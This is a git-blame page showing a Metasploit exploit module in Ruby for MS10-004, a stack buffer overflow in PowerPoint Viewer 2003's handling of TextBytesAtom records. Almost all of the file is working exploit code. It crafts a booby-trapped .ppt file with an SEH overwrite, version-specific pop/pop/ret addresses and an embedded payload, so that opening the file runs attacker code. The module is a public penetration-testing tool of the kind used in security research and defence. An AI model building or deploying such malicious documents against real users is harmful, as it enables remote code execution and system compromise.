Files
metasploit-gs/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

263 lines
7.9 KiB
Ruby
Raw Normal View History

2010-05-14 02:43:55 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-05-14 02:43:55 +00:00
##
require 'rex/ole'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-05-14 02:43:55 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
'Description' => %q{
2010-05-14 02:43:55 +00:00
This module exploits a stack buffer overflow vulnerability in the handling of
2025-06-20 13:20:44 +01:00
the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,
the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as
Office 2004 for Mac, are vulnerable.
NOTE: The vulnerable code path is not reachable on versions of Windows prior to
Windows Vista.
},
'License' => MSF_LICENSE,
'Author' => [
'SkD', # original discovery
2010-05-14 02:43:55 +00:00
'Snake', # PoC
'jduck' # metasploit version
],
2025-06-20 13:20:44 +01:00
'References' => [
2010-05-14 02:43:55 +00:00
[ 'CVE', '2010-0033' ],
[ 'OSVDB', '62241' ],
2010-05-14 02:43:55 +00:00
[ 'MSB', 'MS10-004' ],
2015-10-27 12:41:32 -05:00
[ 'ZDI', '10-017' ]
2010-05-14 02:43:55 +00:00
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2010-05-14 02:43:55 +00:00
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2010-05-14 02:43:55 +00:00
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true # no need
2010-05-14 02:43:55 +00:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
2010-05-14 02:43:55 +00:00
# Tested with various patch levels of PowerPoint Viewer 2003 (v6.0.2600.0)
2025-06-20 13:20:44 +01:00
[
'Microsoft PowerPoint Viewer 2003',
2010-05-14 02:43:55 +00:00
{
'SEHOffset' => 132,
'PopPopRet' => 0x30056471 # pop/pop/ret from PPTVIEW.exe v11.0.5703.0
}
],
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
[
'Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3',
2010-05-14 02:43:55 +00:00
{
'SEHOffset' => 132,
'PopPopRet' => 0x3003c767 # pop/pop/ret from PPTVIEW.exe v11.0.8164.0
}
],
=begin
#
# This is commented out because of ASLR. gdiplus is no good.
#
[ 'Microsoft PowerPoint Viewer 2003 (kb956500 or kb969615)',
{
'SEHOffset' => 132,
#'PopPopRet' => 0x39827475 # pop/pop/ret from gdiplus.dll v11.0.8230.0
'PopPopRet' => 0x69647475
}
],
=end
2025-06-20 13:20:44 +01:00
[
'Microsoft PowerPoint Viewer 2003 (kb969615)',
2010-05-14 02:43:55 +00:00
{
'SEHOffset' => 132,
'PopPopRet' => 0x300566d1 # pop/pop/ret from PPTVIEW.exe v11.0.8305.0
}
],
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
#
# All that is needed for new targets are the two vars! msfpescan will help.
#
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# crash on a deref path to heaven.
2025-06-20 13:20:44 +01:00
[
'Crash Target for Debugging',
2010-05-14 02:43:55 +00:00
{
'SEHOffset' => 132,
'PopPopRet' => 0xdac0ffee
}
]
],
'DisclosureDate' => '2010-02-09',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
register_options(
[
2025-06-20 13:20:44 +01:00
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppt']),
OptString.new('OUTPUTPATH', [ true, 'Path to output the file', Msf::Config.local_directory ])
2025-06-20 13:20:44 +01:00
]
)
2010-05-14 02:43:55 +00:00
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def ppt_record(tag, data = nil, ver = 0, inst = 0)
2010-05-14 02:43:55 +00:00
data ||= ''
ret = ''
verinst = (ver & 0xf) | (inst << 4)
ret << [verinst, tag, data.length].pack('vvV')
ret << data
ret
end
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
def exploit
print_status("Creating PowerPoint Document ...")
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
username = Rex::Text.rand_text_alphanumeric(8 + rand(8))
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# smash the stack, hit SEH, use the pop-pop-ret to execute code on the stack
sploit = rand_text(target['SEHOffset'])
sploit << generate_seh_record(target['PopPopRet'])
# jump ahead into the next atom
distance = 10
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+" + distance.to_s).encode_string
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# TextBytesAtom
text_bytes_atom = ppt_record(0xfa8, sploit)
2025-06-20 13:20:44 +01:00
text_bytes_atom[4, 4] = [0xffffffff].pack('V') # ..f8 thru ..ff
# text_bytes_atom << ppt_record(0xfa8, "\xcc" + ("A" * 2046) + "\xcc")
2010-05-14 02:43:55 +00:00
text_bytes_atom << ppt_record(0xfa8, ("A" * 16) + payload.encoded)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# SlidePersistAtom
2025-06-20 13:20:44 +01:00
spa1_data = [2, 0, 0, 0x80000000, 0].pack('VVVVV')
2010-05-14 02:43:55 +00:00
spa1 = ppt_record(0x3f3, spa1_data)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# SlideListWithText (first)
slwt1 = ppt_record(0xff0, spa1, 15, 1)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# SlidePersistAtom
spa2_data = ''
2025-06-20 13:20:44 +01:00
spa2_data << [3, 0, 2, 0x100, 0].pack('VVVVV')
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# SlideListWithText container (2nd)
slwt2_data = ''
slwt2_data << ppt_record(0x3f3, spa2_data)
# TextHeaderAtom
txt_hdr_data = [6].pack('V') # textType
slwt2_data << ppt_record(0xf9f, txt_hdr_data)
slwt2_data << text_bytes_atom
slwt2 = ppt_record(0xff0, slwt2_data, 15)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# Document container
doc_data = ''
doc_data << slwt1
doc_data << slwt2
doc = ppt_record(0x3e8, doc_data, 15)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# MainMaster container
mdc_data = ppt_record(0xf003, '', 15)
ppd_data = ppt_record(0xf002, mdc_data, 15)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# TextMasterStyleAtom
tmsa_data = [0].pack('v') # cLevels (none)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
mm_data = ''
mm_data << ppt_record(0xfa3, tmsa_data)
mm_data << ppt_record(0x40c, ppd_data, 15)
mm = ppt_record(0x3f8, mm_data, 15)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# assembled stream contents
content = ''
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
document_offset = content.length
content << doc
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
main_master_offset = content.length
content << mm
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# PersistPtrIncrementalBlock
start_num = 1
count = 2
ppib_data = [(start_num & 0xfffff) | (count << 20)].pack('V')
ppib_data << [document_offset].pack('V')
ppib_data << [main_master_offset].pack('V')
ppib = ppt_record(0x1772, ppib_data)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# Store offset and add it
persist_ptr_incremental_block_offset = content.length
content << ppib
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# UserEditAtom
uea_data = ''
2025-06-20 13:20:44 +01:00
uea_data << [0x100].pack('V') # lastSlideIdRef
uea_data << [0x1599, 0, 3].pack('vCC') # version, minorVer, majorVer
2010-05-14 02:43:55 +00:00
uea_data << [0].pack('V') # offsetLastEdit
uea_data << [persist_ptr_incremental_block_offset].pack('V')
uea_data << [1].pack('V') # docPersistIdRef
uea_data << [3].pack('V') # persistIdSeed
uea_data << [1].pack('v') # lastView
uea_data << [0x31c5].pack('v') # unused??
uea = ppt_record(0xff5, uea_data)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# Store offset and add it
user_edit_atom_offset = content.length
content << uea
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# Create the output file
out = File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])
2010-05-14 02:43:55 +00:00
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
if (not stg)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Unable to create output file')
2010-05-14 02:43:55 +00:00
end
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# PowerPoint Document stream
stm = stg.create_stream("PowerPoint Document")
if (not stm)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Unable to create "PowerPoint Document" stream')
2010-05-14 02:43:55 +00:00
end
stm << content
stm.close
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
# CurrentUserAtom stream
cua_data = ''
cua_data << [0x14].pack('V') # size
cua_data << [0xe391c05f].pack('V') # headerToken (not encrypted)
cua_data << [user_edit_atom_offset].pack('V')
cua_data << [username.length].pack('v')
cua_data << [0x3f4].pack('v') # docFileVersion
2025-06-20 13:20:44 +01:00
cua_data << [3, 0].pack('CC') # majorVer, minorVer
2010-05-14 02:43:55 +00:00
cua_data << [0x3b].pack('v') # unused??
cua_data << username
cua_data << [8].pack('V') # relVersion (1 master slide)
cua_data << Rex::Text.to_unicode(username)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
current_user_stream = ppt_record(0xff6, cua_data)
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
stm = stg.create_stream("Current User")
if (not stm)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Unable to create "Current User" stream')
2010-05-14 02:43:55 +00:00
end
stm << current_user_stream
stm.close
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
stg.close
2013-08-30 16:28:54 -05:00
2010-05-14 02:43:55 +00:00
print_status("Generated output file #{out}")
end
end